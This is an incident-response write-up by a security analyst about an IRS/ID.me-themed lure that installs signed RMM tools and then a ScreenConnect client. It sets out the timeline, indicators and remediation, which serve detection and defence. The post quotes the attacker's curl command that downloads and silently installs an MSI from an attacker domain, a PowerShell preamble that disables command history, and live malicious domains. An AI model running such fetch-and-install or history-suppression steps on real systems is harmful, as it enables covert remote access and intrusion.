An IRS-Themed Lure Installing Signed RMM Tooling

Aug 27, 2026 • 9 min read • Advanced

  • Threat Hunting
  • Incident Response

A user ran a file called ID.me_IRS_VM_REC_Secure_Verification_Gateway-1664459__<date>-166445992WW.EXE out of their Downloads folder, and what followed was a chain of software installations that each carried a valid Authenticode signature from a real remote monitoring vendor and landed in Program Files like any other deployment. Tax-themed lures delivering commercial RMM tooling have been the dominant pattern this year because the installers are authoritatively signed, the traffic goes to legitimate vendor infrastructure, and the resulting foothold is a better control channel than most custom malware.

Times below are elapsed from the first process event rather than wall clock, and the date component of the lure filename is redacted for the same reason. The agent’s own logs run an hour off the process telemetry, which is covered in the inventory section.

Delivery

The Zone.Identifier stream on one of the downloaded samples recovered the full chain:

1
2
3
4
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://irsgovidme0d97f7833b7a74630f450636df001fff.suvary.net/id/official.php?token=<~600 hex chars>
HostUrl=https://irsgovidme0d97f7833b7a74630f450636df001fff.suvary.net/id/dip.php

The subdomain stuffs irsgovidme in front of 32 hex characters on wildcard DNS, which reads as IRS and ID.me in a truncated address bar and rotates per session, so blocking the FQDN accomplishes nothing and the apex is the only durable control. I tested the hex against MD5 of the recipient address in several forms, since hashing the target email into the subdomain would give a way to enumerate everyone the campaign touched, but nothing matched and it is either random or salted.

The token on official.php runs about 600 hex characters, roughly 300 bytes, and dip.php carries no token at all, which means session state passed by cookie or POST between the two pages and a sandbox fetching dip.php cold will get a 404 or a decoy rather than the payload.

Three builds executed with identifiers 1664459, 1142076, and 4456363 in a -<N>__<date>-<N>92WW.EXE pattern, and since the installer runs silently and gives no visible feedback the user most likely clicked through the same page repeatedly rather than being targeted three separate times.

What installed

The executable is a 4.4 MB 7-Zip SFX carrying a valid Authenticode signature from N-able Technologies, so the file the user double-clicked out of Downloads was itself signed and verified rather than only the components inside it, which is why nothing in the reputation path had grounds to stop it. It dropped agent.exe and package.zip into %TEMP%\7ZipSfx.000, and the Inno Setup bootstrapper inside it spawned consent.exe to request elevation. The prompt was approved a second into the chain and the elevated instance appeared eight seconds after that.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
T+0s     SFX extracts agent.exe, package.zip
T+0s     agent.exe /VERYSILENT /norestart
T+1s     agent.tmp -> consent.exe                    UAC, approved
T+9s     elevated agent.exe /SPAWNWND /NOTIFYWND
T+11s    unzip.exe package.zip -> settings.ini, branding
T+12s    winagent.exe /autoinstall
T+16s    service created, LocalSystem
T+16s    rm-downloads.logicnow.com -> FmPlugin
T+28s    ScriptRunnerInstaller-2.98.5.1.exe /silent
T+59s    LDAP connection on 389
T+65s    assetscan.exe -M SCAN
T+69s    MSP_Connect.exe /S /R /mspid <tenant id>

ScriptRunner provides arbitrary script execution from the operator’s own console under a signed service running as LocalSystem, which is the capability that carries the rest of the intrusion. MSP_Connect.exe installed the Take Control remote control agent sixty-nine seconds into the chain, and it registered a credential provider at the logon screen.

The behavioral engine raised more than forty indicators covering Kerberoasting, SAM hive access, browser memory reads, and event log tampering, none of which appear anywhere in the process telemetry. I read them initially as credential access and none of it held, since the engine was reacting to a UPX-packed SFX carrying embedded PE resources and to installer anti-VM checks, and the indicator reading that a signed process created a credential prompt turned out to be the UAC dialog at T+1s. Cross-checking those against process telemetry before drafting kept several unfounded claims out of the report.

Tenant configuration

The install wrote a configuration file containing the enrollment credentials for the tenant the device was registered into, along with the backend host:

1
2
3
4
5
AgentID        <redacted>
AgentKey       <redacted>
EncryptKey     <redacted>
InstanceHost   <instance>-us-west-2-svc.logicnow.us
InstallerURL   https://<instance>-us-west-2-cdn.logicnow.us/api/Installers/45.0.0.15/NetworkManagementInstall

That host is genuine vendor backend infrastructure, so the device was enrolled into a real tenant rather than a purpose-built control server, which is why no reputation-based control had anything to say about the traffic. The agent identifier paired with the tenant identifier from the Take Control command line gives the vendor enough to pivot from the tenant to every other device enrolled under it, and that pivot is the useful ask in an abuse report rather than simply requesting termination. The key material in that file is live and should go to the vendor directly rather than into a shared indicator list or a public sandbox.

Inventory collection

Between T+59s and T+66s, a window running from the LDAP connection to just after the asset scan, the agent staged three gzipped uploads and deleted each one immediately after, writing an error log in its place. From process telemetry alone that looked like send-then-cleanup but could equally have been failure-then-cleanup, since the agent removes the staged file either way. No outbound connection event appears inside that window despite a DNS lookup for the upload host, though the host already held an established connection opened three seconds before the window began, and keep-alive reuse on that connection would produce exactly the gap observed, so the network events did not settle it either.

The agent’s own logs did:

1
2
3
247_Upload.xml   ERROR: Invalid response from server!
DSC_Upload.xml   OK
ST_Upload.xml    OK

Those entries carry timestamps an hour off the process telemetry, which I initially read as evidence the uploads had happened later than they did, until the offset turned out to be the agent logging in a different timezone. That was the second timestamp error I made on this case, the first being reading raw epoch values as local rather than UTC, and converting everything to a single clock at the start rather than assuming a shared one would have saved both.

ST_Upload.xml is the asset tracking file and it returned OK. It was written 68 milliseconds before assetscan.exe produced its output at T+65s, so it cannot contain the results of that scan, and it either carries a cached inventory from a previous run or the agent builds the upload from its own maintained state rather than from the scanner output. Either way the transmitted contents cover device name, primary user, domain, internal IP, OS build, Windows product key, hardware serial, BIOS version, processor, memory, storage, MAC addresses for both adapters, and the full installed software list.

The inventory contains no documents or file contents, but I would not write that no data was exposed, since it only describes what the agent’s own scanner collected and says nothing about what a person with an interactive session did.

Second stage

Forty-eight minutes after execution, a cmd.exe on the host ran:

1
curl.exe --ssl-no-revoke -L -o "C:\Users\Public\ScreenConnect.ClientSetup.msi" https://flawlessresearchers.com/ScreenConnect.ClientSetup.msi

followed one second later by msiexec /i ... /qn /norestart. The --ssl-no-revoke flag disables certificate revocation checking on Schannel builds of curl, which is minor but suggests the operator did not want a CRL lookup failing the download.

Fifteen minutes after that install, roughly sixty-three minutes into the incident, the installed client launched PowerShell with an encoded command that decodes to:

1
2
3
4
if (Get-Module -ListAvailable -Name PSReadLine) { Set-PSReadlineOption -HistorySaveStyle SaveNothing };
$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size(1, 1);
$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size(79, 32766);
cd "$env:temp"; Set-Variable HOME "$HOMEDRIVE$HOMEPATH" -Force;

This is the ScreenConnect Backstage console preamble verbatim, and a 1x1 window with a 32766-line buffer describes a headless console being scraped by a remote tool rather than a person at a terminal. SaveNothing means nothing typed into that session was written to the PSReadLine history file, so the commands issued during it are unrecoverable from the host regardless of how thorough the rest of the analysis is.

Instance identity

The client configuration holds the launch parameters including the server’s RSA public key:

1
?h=relay.pronconetydesire.online&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQA5YsHf...

Decoding the URL encoding and base64 gives a 276-byte PUBLICKEYBLOB with magic RSA1, 2048 bits, exponent 65537, and hashing it produced something I had not expected:

1
2
MD5     460466b23a93aa99 0b0e8475d25de13b
SHA256  12e3a548d148ebf8175e6ea8d65d39748a183d3600213f1196ccd9cb864b816e

The low eight bytes of the MD5 are the instance ID exactly, meaning the instance identifier derives from the server keypair, so an operator can rotate the relay domain, change ports, rebuild the MSI, and regenerate every filename while the instance ID stays constant unless they rebuild the server itself and orphan every deployed agent. That makes the instance ID a stronger hunting pivot than any hash or domain here, and it appears in the install directory name, the service name, the systemprofile config path, and several registry keys, so a single string match on 0b0e8475d25de13b across path and registry fields catches every artifact of it.

Remediation

Services, program directories, package caches, registry entries, firewall rules, and the credential provider registrations came out cleanly. The LSA authentication package entry did not, since writes to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages are treated as persistence activity by design and an endpoint agent has no way to distinguish an analyst clearing a value from an operator adding one. Leaving the dangling entry is defensible because the DLL it references is gone and the package cannot load, and the host was going to be rebuilt regardless.

Rebuild rather than cleanup is the right call on any host where credential providers and an authentication package were registered, since those components sit inside the Windows logon path at a privileged level, and where an unauthorized party held SYSTEM access and modified authentication components, removing the known artifacts does not establish that nothing else changed. The suppressed command history makes that argument on its own.

Indicators

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
suvary.net                       delivery, wildcard subdomains
flawlessresearchers.com          second-stage delivery
pronconetydesire.online          relay
relay.pronconetydesire.online:8041

/id/official.php                 kit landing page path
/id/dip.php                      kit payload path

Delivery SFX  ID.me_IRS_VM_REC_Secure_Verification_Gateway-1664459__<date>-166445992WW.EXE
  SHA256      1abaf5fd03106d0cc8075d0fb797628323f622a4a2e396982dbda47f59922e07
  SHA1        6c083b73d8d28180a7c1989a718174414577e412
  Size        4,429,288 bytes
  Signer      N-ABLE TECHNOLOGIES LTD, signed and verified
  Written to  C:\Users\<user>\Downloads\
  Note        date component of the filename redacted; hashes are for the sample as delivered

Instance ID     0b0e8475d25de13b
Pubkey SHA256   12e3a548d148ebf8175e6ea8d65d39748a183d3600213f1196ccd9cb864b816e

The instance ID is the term to hunt on, since it survives every rotation available to the operator. It is carried in the install directory, the service name, the systemprofile config path, and both the service and uninstall registry keys, all of which take the form ScreenConnect Client (<instance id>):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
C:\Program Files (x86)\ScreenConnect Client (0b0e8475d25de13b)\
    ScreenConnect.ClientService.exe
    ScreenConnect.WindowsClient.exe
    system.config

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\
    ScreenConnect Client (0b0e8475d25de13b)\

HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (0b0e8475d25de13b)
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\
    ScreenConnect Client (0b0e8475d25de13b)

The ImagePath value under the service key holds the full launch string, so the relay host, port, public key, and session identifier all come back from a single registry read without parsing the client configuration separately. That makes the service key the better collection target of the two.

The file hashes are close to worthless since each download produces a unique build, and the RMM backend infrastructure is shared with legitimate providers so blocking those hostnames breaks real deployments. Kit path names and the instance ID are what survive rotation, and both are worth carrying forward as standing hunt terms.

Elmer Phillips, Security Analyst